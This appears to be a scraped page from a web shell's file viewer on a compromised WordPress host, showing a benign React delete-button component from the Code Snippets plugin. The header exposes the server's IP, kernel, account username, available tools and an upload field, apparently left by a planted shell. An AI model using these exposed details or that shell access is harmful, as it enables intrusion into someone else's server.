Server IP : 192.158.238.246 / Your IP : 3.22.194.5 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/7779/cwd/plugins/code-snippets/js/components/SnippetForm/buttons/ |
Upload File : |
import { addQueryArgs } from '@wordpress/url' import React, { useState } from 'react' import { __ } from '@wordpress/i18n' import { Button } from '../../common/Button' import { ConfirmDialog } from '../../common/ConfirmDialog' import { useSnippetsAPI } from '../../../hooks/useSnippets' import { useSnippetForm } from '../../../hooks/useSnippetForm' export const DeleteButton: React.FC = () => { const api = useSnippetsAPI() const { snippet, setIsWorking, isWorking, handleRequestError } = useSnippetForm() const [isDialogOpen, setIsDialogOpen] = useState(false) return ( <> <Button name="delete_snippet" onClick={() => setIsDialogOpen(true)} disabled={isWorking} > {__('Delete', 'code-snippets')} </Button> <ConfirmDialog open={isDialogOpen} title={__('Permanently delete?', 'code-snippets')} confirmLabel={__('Delete', 'code-snippets')} confirmButtonClassName="is-destructive" onCancel={() => setIsDialogOpen(false)} onConfirm={() => { setIsDialogOpen(false) setIsWorking(true) api.delete(snippet) .then(() => { setIsWorking(false) window.location.replace(addQueryArgs(window.CODE_SNIPPETS?.urls.manage, { result: 'deleted' })) }) .catch((error: unknown) => handleRequestError(error, __('Could not delete snippet.', 'code-snippets'))) }} > <p> {__('You are about to permanently delete this snippet.', 'code-snippets')}{' '} {__('Are you sure?', 'code-snippets')} </p> <p><strong>{__('This action cannot be undone.', 'code-snippets')}</strong></p> </ConfirmDialog> </> ) }